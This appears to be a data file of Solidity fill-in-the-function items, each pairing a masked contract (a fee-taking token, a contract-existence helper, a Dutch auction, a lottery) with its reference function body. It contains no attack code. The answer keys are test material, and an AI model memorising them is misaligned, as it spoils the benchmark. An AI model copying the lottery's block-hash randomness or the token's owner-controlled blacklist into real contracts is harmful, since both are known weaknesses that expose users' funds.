uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
_feeAddrWallet1 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572);
_feeAddrWallet2 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x91b929bE8135CB7e1c83F775D4598a45aA8b334d), _msgSender(), _tTotal);
| constructor () | constructor () |
20977 | Utils | contractExists | contract Utils {
enum MessageTypeId {
None,
BalanceProof,
BalanceProofUpdate,
Withdraw,
CooperativeSettle,
IOU,
MSReward
}
/// @notice Check if a contract exists
/// @param contract_address The address to check whether a contract is
/// deployed or not
/// @return True if a contract exists, false otherwise
function contractExists(address contract_address) public view returns (bool) {<FILL_FUNCTION_BODY> }
} | contract Utils {
enum MessageTypeId {
None,
BalanceProof,
BalanceProofUpdate,
Withdraw,
CooperativeSettle,
IOU,
MSReward
}
<FILL_FUNCTION>
} |
uint size;
assembly {
size := extcodesize(contract_address)
}
return size > 0;
| function contractExists(address contract_address) public view returns (bool) | /// @notice Check if a contract exists
/// @param contract_address The address to check whether a contract is
/// deployed or not
/// @return True if a contract exists, false otherwise
function contractExists(address contract_address) public view returns (bool) |
38106 | DutchAuction | bid | contract DutchAuction {
/*
* Events
*/
event BidSubmission(address indexed sender, uint256 amount);
event logPayload(bytes _data, uint _lengt);
/*
* Constants
*/
uint constant public MAX_TOKENS_SOLD = 10000000 * 10**18; // 10M
uint constant public WAITING_PERIOD = 45 days;
/*
* Storage
*/
address public pWallet;
Token public KittieFightToken;
address public owner;
PromissoryToken public PromissoryTokenIns;
address constant public promissoryAddr = 0x0348B55AbD6E1A99C6EBC972A6A4582Ec0bcEb5c;
uint public ceiling;
uint public priceFactor;
uint public startBlock;
uint public endTime;
uint public totalReceived;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
/*
* Enums
*/
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TradingStarted
}
/*
* Modifiers
*/
modifier atStage(Stages _stage) {
require(stage == _stage);
// Contract not in expected state
_;
}
modifier isOwner() {
require(msg.sender == owner);
// Only owner is allowed to proceed
_;
}
modifier isWallet() {
require(msg.sender == address(pWallet));
// Only wallet is allowed to proceed
_;
}
modifier isValidPayload() {
emit logPayload(msg.data, msg.data.length);
require(msg.data.length == 4 || msg.data.length == 36, "No valid payload");
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice())
finalizeAuction();
if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD)
stage = Stages.TradingStarted;
_;
}
/*
* Public functions
*/
/// @dev Contract constructor function sets owner.
/// @param _pWallet KittieFight promissory wallet.
/// @param _ceiling Auction ceiling.
/// @param _priceFactor Auction price factor.
constructor(address _pWallet, uint _ceiling, uint _priceFactor)
public
{
if (_pWallet == 0 || _ceiling == 0 || _priceFactor == 0)
// Arguments are null.
revert();
owner = msg.sender;
PromissoryTokenIns = PromissoryToken(promissoryAddr);
pWallet = _pWallet;
ceiling = _ceiling;
priceFactor = _priceFactor;
stage = Stages.AuctionDeployed;
}
/// @dev Setup function sets external contracts' addresses.
/// @param _kittieToken token address.
function setup(address _kittieToken)
public
isOwner
atStage(Stages.AuctionDeployed)
{
if (_kittieToken == 0)
// Argument is null.
revert();
KittieFightToken = Token(_kittieToken);
// Validate token balance
if (KittieFightToken.balanceOf(this) != MAX_TOKENS_SOLD)
revert();
stage = Stages.AuctionSetUp;
}
/// @dev Starts auction and sets startBlock.
function startAuction()
public
isOwner
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
}
/// @dev Changes auction ceiling and start price factor before auction is started.
/// @param _ceiling Updated auction ceiling.
/// @param _priceFactor Updated start price factor.
function changeSettings(uint _ceiling, uint _priceFactor)
public
isWallet
atStage(Stages.AuctionSetUp)
{
ceiling = _ceiling;
priceFactor = _priceFactor;
}
/// @dev Calculates current token price.
/// @return Returns token price.
function calcCurrentTokenPrice()
public
timedTransitions
returns (uint)
{
if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted)
return finalPrice;
return calcTokenPrice();
}
/// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet.
/// @return Returns current auction stage.
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
/// @dev Allows to send a bid to the auction.
/// @param receiver Bid will be assigned to this address if set.
function bid(address receiver)
public
payable
//isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
returns (uint amount)
{<FILL_FUNCTION_BODY> }
/// @dev Claims tokens for bidder after auction.
/// @param receiver Tokens will be assigned to this address if set.
function claimTokens(address receiver)
public
isValidPayload
timedTransitions
atStage(Stages.TradingStarted)
{
if (receiver == 0)
receiver = msg.sender;
uint tokenCount = bids[receiver] * 10**18 / finalPrice;
bids[receiver] = 0;
KittieFightToken.transfer(receiver, tokenCount);
}
/// @dev Calculates stop price.
/// @return Returns stop price.
function calcStopPrice()
view
public
returns (uint)
{
return totalReceived * 10**18 / MAX_TOKENS_SOLD + 1;
}
/// @dev Calculates token price.
/// @return Returns token price.
function calcTokenPrice()
view
public
returns (uint)
{
return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1;
}
/*
* Private functions
*/
function finalizeAuction()
private
{
stage = Stages.AuctionEnded;
if (totalReceived == ceiling)
finalPrice = calcTokenPrice();
else
finalPrice = calcStopPrice();
endTime = now;
}
} | contract DutchAuction {
/*
* Events
*/
event BidSubmission(address indexed sender, uint256 amount);
event logPayload(bytes _data, uint _lengt);
/*
* Constants
*/
uint constant public MAX_TOKENS_SOLD = 10000000 * 10**18; // 10M
uint constant public WAITING_PERIOD = 45 days;
/*
* Storage
*/
address public pWallet;
Token public KittieFightToken;
address public owner;
PromissoryToken public PromissoryTokenIns;
address constant public promissoryAddr = 0x0348B55AbD6E1A99C6EBC972A6A4582Ec0bcEb5c;
uint public ceiling;
uint public priceFactor;
uint public startBlock;
uint public endTime;
uint public totalReceived;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
/*
* Enums
*/
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TradingStarted
}
/*
* Modifiers
*/
modifier atStage(Stages _stage) {
require(stage == _stage);
// Contract not in expected state
_;
}
modifier isOwner() {
require(msg.sender == owner);
// Only owner is allowed to proceed
_;
}
modifier isWallet() {
require(msg.sender == address(pWallet));
// Only wallet is allowed to proceed
_;
}
modifier isValidPayload() {
emit logPayload(msg.data, msg.data.length);
require(msg.data.length == 4 || msg.data.length == 36, "No valid payload");
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice())
finalizeAuction();
if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD)
stage = Stages.TradingStarted;
_;
}
/*
* Public functions
*/
/// @dev Contract constructor function sets owner.
/// @param _pWallet KittieFight promissory wallet.
/// @param _ceiling Auction ceiling.
/// @param _priceFactor Auction price factor.
constructor(address _pWallet, uint _ceiling, uint _priceFactor)
public
{
if (_pWallet == 0 || _ceiling == 0 || _priceFactor == 0)
// Arguments are null.
revert();
owner = msg.sender;
PromissoryTokenIns = PromissoryToken(promissoryAddr);
pWallet = _pWallet;
ceiling = _ceiling;
priceFactor = _priceFactor;
stage = Stages.AuctionDeployed;
}
/// @dev Setup function sets external contracts' addresses.
/// @param _kittieToken token address.
function setup(address _kittieToken)
public
isOwner
atStage(Stages.AuctionDeployed)
{
if (_kittieToken == 0)
// Argument is null.
revert();
KittieFightToken = Token(_kittieToken);
// Validate token balance
if (KittieFightToken.balanceOf(this) != MAX_TOKENS_SOLD)
revert();
stage = Stages.AuctionSetUp;
}
/// @dev Starts auction and sets startBlock.
function startAuction()
public
isOwner
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
}
/// @dev Changes auction ceiling and start price factor before auction is started.
/// @param _ceiling Updated auction ceiling.
/// @param _priceFactor Updated start price factor.
function changeSettings(uint _ceiling, uint _priceFactor)
public
isWallet
atStage(Stages.AuctionSetUp)
{
ceiling = _ceiling;
priceFactor = _priceFactor;
}
/// @dev Calculates current token price.
/// @return Returns token price.
function calcCurrentTokenPrice()
public
timedTransitions
returns (uint)
{
if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted)
return finalPrice;
return calcTokenPrice();
}
/// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet.
/// @return Returns current auction stage.
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
<FILL_FUNCTION>
/// @dev Claims tokens for bidder after auction.
/// @param receiver Tokens will be assigned to this address if set.
function claimTokens(address receiver)
public
isValidPayload
timedTransitions
atStage(Stages.TradingStarted)
{
if (receiver == 0)
receiver = msg.sender;
uint tokenCount = bids[receiver] * 10**18 / finalPrice;
bids[receiver] = 0;
KittieFightToken.transfer(receiver, tokenCount);
}
/// @dev Calculates stop price.
/// @return Returns stop price.
function calcStopPrice()
view
public
returns (uint)
{
return totalReceived * 10**18 / MAX_TOKENS_SOLD + 1;
}
/// @dev Calculates token price.
/// @return Returns token price.
function calcTokenPrice()
view
public
returns (uint)
{
return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1;
}
/*
* Private functions
*/
function finalizeAuction()
private
{
stage = Stages.AuctionEnded;
if (totalReceived == ceiling)
finalPrice = calcTokenPrice();
else
finalPrice = calcStopPrice();
endTime = now;
}
} |
// If a bid is done on behalf of a user via ShapeShift, the receiver address is set.
if (receiver == 0)
receiver = msg.sender;
amount = msg.value;
// Prevent that more than 90% of tokens are sold. Only relevant if cap not reached.
uint maxWei = (MAX_TOKENS_SOLD / 10**18) * calcTokenPrice() - totalReceived;
uint maxWeiBasedOnTotalReceived = ceiling - totalReceived;
if (maxWeiBasedOnTotalReceived < maxWei)
maxWei = maxWeiBasedOnTotalReceived;
// Only invest maximum possible amount.
if (amount > maxWei) {
amount = maxWei;
// Send change back to receiver address. In case of a ShapeShift bid the user receives the change back directly.
if (!receiver.send(msg.value - amount))
// Sending failed
revert();
}
// Forward funding to ether pWallet
if (amount == 0 || !address(pWallet).send(amount))
// No amount sent or sending failed
revert();
bids[receiver] += amount;
totalReceived += amount;
if (maxWei == amount)
// When maxWei is equal to the big amount the auction is ended and finalizeAuction is triggered.
finalizeAuction();
emit BidSubmission(receiver, amount);
| function bid(address receiver)
public
payable
//isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
returns (uint amount)
| /// @dev Allows to send a bid to the auction.
/// @param receiver Bid will be assigned to this address if set.
function bid(address receiver)
public
payable
//isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
returns (uint amount)
|
30987 | Lottery | activeFirstRound | contract Lottery {
using SafeMath for uint256;
modifier withdrawRight(){
require(msg.sender == address(bankContract), "Bank only");
_;
}
modifier onlyDevTeam() {
require(msg.sender == devTeam, "only for development team");
_;
}
modifier buyable() {
require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket");
require(block.timestamp < round[curRoundId].slideEndTime, "round over");
_;
}
enum RewardType {
Minor,
Major,
Grand,
Bounty
}
// 1 buy = 1 slot = _ethAmount => (tAmount, tMul)
struct Slot {
address buyer;
uint256 rId;
// ticket numbers in range and unique in all rounds
uint256 tNumberFrom;
uint256 tNumberTo;
// weight to, used for grandPot finalize
uint256 wTo;
uint256 ethAmount;
uint256 salt;
}
struct Round {
// earlyIncome weight sum
uint256 rEarlyIncomeWeight;
// blockNumber to get hash as random seed
uint256 keyBlockNr;
mapping(address => uint256) pTicketSum;
mapping(address => uint256) pInvestedSum;
// early income weight by address
mapping(address => uint256) pEarlyIncomeWeight;
mapping(address => uint256) pEarlyIncomeCredit;
mapping(address => uint256) pEarlyIncomeClaimed;
// early income per weight
uint256 ppw;
// endTime increased every slot sold
// endTime limited by fixedEndTime
uint256 startTime;
uint256 slideEndTime;
uint256 fixedEndTime;
// ticketSum from round 1 to this round
uint256 ticketSum;
// investedSum from round 1 to this round
uint256 investedSum;
// number of slots from round 1 to this round
uint256 slotSum;
}
// round started with this grandPot amount,
// used to calculate the rate for grandPot results
// init in roundInit function
uint256 initGrandPot;
Slot[] slot;
// slotId logs by address
mapping( address => uint256[]) pSlot;
mapping( address => uint256) public pSlotSum;
// logs by address
mapping( address => uint256) public pTicketSum;
mapping( address => uint256) public pInvestedSum;
CitizenInterface public citizenContract;
F2mInterface public f2mContract;
BankInterface public bankContract;
RewardInterface public rewardContract;
address public devTeam;
uint256 constant public ZOOM = 1000;
uint256 constant public ONE_HOUR = 60 * 60;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT0 = 3 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
uint256 constant public TIMEOUT2 = 7 * ONE_DAY;
uint256 constant public FINALIZE_WAIT_DURATION = 60; // 60 Seconds
uint256 constant public NEWROUND_WAIT_DURATION = ONE_DAY; // 24 Hours
// 15 seconds on Ethereum, 12 seconds used instead to make sure blockHash unavaiable
// when slideEndTime reached
// keyBlockNumber will be estimated again after every slot buy
uint256 constant public BLOCK_TIME = 12;
uint256 constant public MAX_BLOCK_DISTANCE = 254;
uint256 constant public MAJOR_RATE = 1000;
uint256 constant public MINOR_RATE = 1000;
uint256 constant public MAJOR_MIN = 0.1 ether ;
uint256 constant public MINOR_MIN = 0.1 ether ;
//uint256 public toNextPotPercent = 27;
uint256 public grandRewardPercent = 20;
uint256 public jRewardPercent = 60;
uint256 public toTokenPercent = 12; // 10% dividends 2% fund
uint256 public toBuyTokenPercent = 1;
uint256 public earlyIncomePercent = 22;
uint256 public toRefPercent = 15;
// sum == 100% = toPotPercent/100 * investedSum
// uint256 public grandPercent = 68;
uint256 public majorPercent = 24;
uint256 public minorPercent = 8;
uint256 public grandPot;
uint256 public majorPot;
uint256 public minorPot;
uint256 public curRoundId;
uint256 public lastRoundId = 88888888;
uint256 constant public startPrice = 0.002 ether;
mapping (address => uint256) public rewardBalance;
// used to save gas on earlyIncome calculating, curRoundId never included
// only earlyIncome from round 1st to curRoundId-1 are fixed
mapping (address => uint256) public lastWithdrawnRound;
mapping (address => uint256) public earlyIncomeScannedSum;
mapping (uint256 => Round) public round;
// Current Round
// first SlotId in last Block to fire jackpot
uint256 public jSlot;
// jackpot results of all slots in same block will be drawed at the same time,
// by player, who buys the first slot in next block
uint256 public lastBlockNr;
// used to calculate grandPot results
uint256 public curRWeight;
// added by slot salt after every slot buy
// does not matter with overflow
uint256 public curRSalt;
// ticket sum of current round
uint256 public curRTicketSum;
constructor (address _devTeam)
public
{
// register address in network
DevTeamInterface(_devTeam).setLotteryAddress(address(this));
devTeam = _devTeam;
}
// _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress];
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
bankContract = BankInterface(_contract[1]);
citizenContract = CitizenInterface(_contract[2]);
//lotteryContract = LotteryInterface(lotteryAddress);
rewardContract = RewardInterface(_contract[4]);
}
function activeFirstRound()
public
onlyDevTeam()
{<FILL_FUNCTION_BODY> }
// Core Functions
function pushToPot()
public
payable
{
addPot(msg.value);
}
function checkpoint()
private
{
// dummy slot between every 2 rounds
// dummy slot never win jackpot cause of min 0.1 ETH
Slot memory _slot;
_slot.tNumberTo = round[curRoundId].ticketSum;
slot.push(_slot);
Round memory _round;
_round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp);
// started with 3 hours timeout
_round.slideEndTime = TIMEOUT0 + _round.startTime;
_round.fixedEndTime = TIMEOUT2 + _round.startTime;
_round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime);
_round.ticketSum = round[curRoundId].ticketSum;
_round.investedSum = round[curRoundId].investedSum;
_round.slotSum = slot.length;
curRoundId = curRoundId + 1;
round[curRoundId] = _round;
initGrandPot = grandPot;
curRWeight = 0;
curRTicketSum = 0;
}
// from round 18+ function
function isLastRound()
public
view
returns(bool)
{
return (curRoundId == lastRoundId);
}
function goNext()
private
{
uint256 _totalPot = getTotalPot();
grandPot = 0;
majorPot = 0;
minorPot = 0;
f2mContract.pushDividends.value(_totalPot)();
// never start
round[curRoundId].startTime = block.timestamp * 10;
round[curRoundId].slideEndTime = block.timestamp * 10 + 1;
}
function initRound()
private
{
// update all Round Log
checkpoint();
if (isLastRound()) goNext();
}
function finalizeable()
public
view
returns(bool)
{
uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime);
if (finalizeTime > block.timestamp) return false; // too soon to finalize
if (getEstKeyBlockNr(curRoundId) >= block.number) return false; //block hash not exist
return curRoundId > 0;
}
// bounty
function finalize()
public
{
require(finalizeable(), "Not ready to draw results");
// avoid txs blocked => curRTicket ==0 => die
require((round[curRoundId].pTicketSum[msg.sender] > 0) || (curRTicketSum == 0), "must buy at least 1 ticket");
endRound(msg.sender);
initRound();
}
function mintReward(
address _lucker,
uint256 _slotId,
uint256 _value,
RewardType _rewardType)
private
{
// add reward balance
rewardBalance[_lucker] = rewardBalance[_lucker].add(_value);
// reward log
rewardContract.mintReward(
_lucker,
curRoundId,
slot[_slotId].tNumberFrom,
slot[_slotId].tNumberTo,
_value,
uint256(_rewardType)
);
}
function jackpot()
private
{
// get blocknumber to get blockhash
uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);//block.number;
// salt not effected by jackpot, too risk
uint256 seed = getSeed(keyBlockNr);
// slot numberic from 1 ... totalSlot(round)
// jackpot for all slot in last block, jSlot <= i <= lastSlotId (=slotSum - 1)
// _to = first Slot in new block
//uint256 _to = round[curRoundId].slotSum;
uint256 jReward;
uint256 toF2mAmount;
address winner;
// jackpot check for slots in last block
while (jSlot + 1 < round[curRoundId].slotSum) {
// majorPot
if ((seed % MAJOR_RATE == 6) &&
(slot[jSlot].ethAmount >= MAJOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = majorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Major);
toF2mAmount = majorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
majorPot = majorPot - jReward - toF2mAmount;
}
// minorPot
if (((seed + jSlot) % MINOR_RATE == 8) &&
(slot[jSlot].ethAmount >= MINOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = minorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Minor);
toF2mAmount = minorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
minorPot = minorPot - jReward - toF2mAmount;
}
seed = seed + 1;
jSlot = jSlot + 1;
}
}
function endRound(address _bountyHunter)
private
{
uint256 _rId = curRoundId;
uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr);
uint256 _seed = getSeed(keyBlockNr) + curRSalt;
uint256 onePercent = grandPot / 100;
uint256 rGrandReward = onePercent * grandRewardPercent;
//PUSH DIVIDENDS
uint256 toF2mAmount = onePercent * toTokenPercent;
//uint256 _bountyAmount = onePercent * bountyPercent;
grandPot = grandPot - toF2mAmount - onePercent;
f2mContract.pushDividends.value(toF2mAmount)();
// base on grand-intestedSum current grandPot
uint256 weightRange = getWeightRange();
// roll 3 turns
for (uint256 i = 0; i < 3; i++){
uint256 winNr = Helper.getRandom(_seed, weightRange);
// if winNr > curRoundWeight => no winner this turn
// win Slot : fromWeight <= winNr <= toWeight
// got winner this rolling turn
if (winNr <= curRWeight) {
grandPot -= rGrandReward;
uint256 _winSlot = getWinSlot(winNr);
address _winner = slot[_winSlot].buyer;
mintReward(_winner, _winSlot, rGrandReward, RewardType.Grand);
_seed = _seed + (_seed / 10);
}
}
mintReward(_bountyHunter, 0, onePercent * 3 / 10, RewardType.Bounty);
rewardContract.pushBounty.value(onePercent * 7 / 10)(curRoundId);
}
function buy(string _sSalt)
public
payable
{
buyFor(_sSalt, msg.sender);
}
function updateInvested(address _buyer, uint256 _ethAmount)
private
{
round[curRoundId].investedSum += _ethAmount;
round[curRoundId].pInvestedSum[_buyer] += _ethAmount;
pInvestedSum[_buyer] += _ethAmount;
}
function updateTicketSum(address _buyer, uint256 _tAmount)
private
{
round[curRoundId].ticketSum = round[curRoundId].ticketSum + _tAmount;
round[curRoundId].pTicketSum[_buyer] = round[curRoundId].pTicketSum[_buyer] + _tAmount;
curRTicketSum = curRTicketSum + _tAmount;
pTicketSum[_buyer] = pTicketSum[_buyer] + _tAmount;
}
function updateEarlyIncome(address _buyer, uint256 _pWeight)
private
{
round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight);
round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]);
round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw));
}
function buyFor(string _sSalt, address _sender)
public
payable
buyable()
{
uint256 _salt = Helper.stringToUint(_sSalt);
uint256 _ethAmount = msg.value;
uint256 _ticketSum = curRTicketSum;
require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket");
// investedSum logs
updateInvested(_sender, _ethAmount);
// update salt
curRSalt = curRSalt + _salt;
// init new Slot, Slot Id = 1..curRSlotSum
Slot memory _slot;
_slot.rId = curRoundId;
_slot.buyer = _sender;
_slot.ethAmount = _ethAmount;
_slot.salt = _salt;
uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = Helper.getTMul(_ticketSum);
uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum);
uint256 _pWeight = _pMul.mul(_tAmount);
uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount);
addTime(curRoundId, _toAddTime);
// update weight
uint256 _slotWeight = (_tAmount).mul(_tMul);
curRWeight = curRWeight.add(_slotWeight);
_slot.wTo = curRWeight;
uint256 lastSlot = slot.length - 1;
// update ticket params
_slot.tNumberFrom = slot[lastSlot].tNumberTo + 1;
_slot.tNumberTo = slot[lastSlot].tNumberTo + _tAmount;
updateTicketSum(_sender, _tAmount);
// EarlyIncome Weight
// ppw and credit zoomed x1000
// earlyIncome mul of each ticket in this slot
updateEarlyIncome(_sender, _pWeight);
// add Slot and update round data
slot.push(_slot);
round[curRoundId].slotSum = slot.length;
// add slot to player logs
pSlot[_sender].push(slot.length - 1);
// first slot in this block draw jacpot results for
// all slot in last block
if (lastBlockNr != block.number) {
jackpot();
lastBlockNr = block.number;
}
distributeSlotBuy(_sender, curRoundId, _ethAmount);
round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime);
}
function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount)
private
{
uint256 onePercent = _ethAmount / 100;
uint256 toF2mAmount = onePercent * toTokenPercent; // 12
uint256 toRefAmount = onePercent * toRefPercent; // 10
uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent; //1
uint256 earlyIncomeAmount = onePercent * earlyIncomePercent; //27
uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount; // 50
uint256 taxedEthAmount = _ethAmount.sub(taxAmount); // 50
addPot(taxedEthAmount);
// 10% Ref
citizenContract.pushRefIncome.value(toRefAmount)(_sender);
// 2% Fund + 10% Dividends
f2mContract.pushDividends.value(toF2mAmount)();
// 1% buy Token
f2mContract.buyFor.value(toBuyTokenAmount)(_sender);
// 27% Early
uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight);
round[_rId].ppw = deltaPpw.add(round[_rId].ppw);
}
function claimEarlyIncomebyAddress(address _buyer)
private
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddressRound(_buyer, curRoundId);
uint256 _rId = curRoundId - 1;
while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) {
earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId);
_rId = _rId - 1;
}
}
function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId)
private
returns(uint256)
{
uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId);
if (_amount == 0) return 0;
round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]);
rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]);
return _amount;
}
function withdrawFor(address _sender)
public
withdrawRight()
returns(uint256)
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddress(_sender);
lastWithdrawnRound[_sender] = curRoundId - 1;
uint256 _amount = rewardBalance[_sender];
rewardBalance[_sender] = 0;
bankContract.pushToBank.value(_amount)(_sender);
return _amount;
}
function addTime(uint256 _rId, uint256 _toAddTime)
private
{
round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime);
}
// distribute to 3 pots Grand, Majorm Minor
function addPot(uint256 _amount)
private
{
uint256 onePercent = _amount / 100;
uint256 toMinor = onePercent * minorPercent;
uint256 toMajor = onePercent * majorPercent;
uint256 toGrand = _amount - toMinor - toMajor;
minorPot = minorPot + toMinor;
majorPot = majorPot + toMajor;
grandPot = grandPot + toGrand;
}
//////////////////////////////////////////////////////////////////
// READ FUNCTIONS
//////////////////////////////////////////////////////////////////
function isWinSlot(uint256 _slotId, uint256 _keyNumber)
public
view
returns(bool)
{
return (slot[_slotId - 1].wTo < _keyNumber) && (slot[_slotId].wTo >= _keyNumber);
}
function getWeightRange()
public
view
returns(uint256)
{
return Helper.getWeightRange(grandPot, initGrandPot, curRWeight);
}
function getWinSlot(uint256 _keyNumber)
public
view
returns(uint256)
{
// return 0 if not found
uint256 _to = slot.length - 1;
